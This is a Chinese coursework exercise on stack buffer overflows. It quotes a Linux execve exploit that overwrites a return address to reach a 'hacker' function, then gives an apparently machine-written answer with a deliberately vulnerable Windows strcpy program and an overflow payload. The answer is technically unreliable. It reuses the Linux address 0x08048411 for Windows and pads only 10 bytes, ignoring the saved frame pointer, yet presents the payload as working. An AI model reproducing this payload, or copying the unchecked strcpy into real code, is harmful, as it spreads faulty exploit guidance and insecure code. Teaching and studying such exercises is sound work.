假定hacker函数首地址为0x8048411，则可编写如下的攻击代码实施攻击。 #include <stdio.h> char code[]= “0123456789ABCDEFXXXX” “\x11\x84\x04\x08” “\x00”; int main(void){ char *arg[3]; arg[0]=”./test”; arg[1]=code; arg[2]=NULL; execve(arg[0], arg, NULL); return 0; } 请在Windows平台上验证攻击能否成功？如果不成功，请说明原因？通过查阅资料，你能否编写出Windows平台上的一个缓冲区溢出漏洞利用程序？

同样地，该攻击代码是针对Linux系统下的execve函数进行的，无法直接在Windows平台上使用。但是，在Windows平台上，可以尝试使用类似的方法来实现缓冲区溢出攻击。

以下是一个简单的利用Windows平台上的缓冲区溢出漏洞的示例程序：

#include <stdio.h>
#include <string.h>
#include <windows.h>

void hacker(void) {
    printf("Hacker code executed!\n");
}

int main(int argc, char **argv) {
    char buffer[10];
    strcpy(buffer, argv[1]);
    printf("Input string: %s\n", buffer);
    return 0;
}

在该程序中，我们定义了一个长度为10的字符数组buffer，然后使用strcpy函数将输入的参数复制到buffer中。由于没有做输入长度的检查，如果输入的参数长度超过了10个字符，就会发生缓冲区溢出。

现在，我们可以尝试使用类似的方法来构造恶意输入，以实现攻击。假设我们想要在执行完main函数后执行hacker函数，可以构造如下的输入：

AAAAAAAAAA\x11\x84\x04\x08

其中，前10个字符是填充字符，使得输入的长度达到缓冲区的上限。接下来4个字符是hacker函数的地址，这样当程序返回时，就会跳转到hacker函数执行。在实际攻击中，还需要考虑更多的细节，比如如何确定hacker函数的地址、如何避免输入中包含null字符等等。

上述示例漏洞利用程序仅用于演示目的，实际攻击行为是非法的。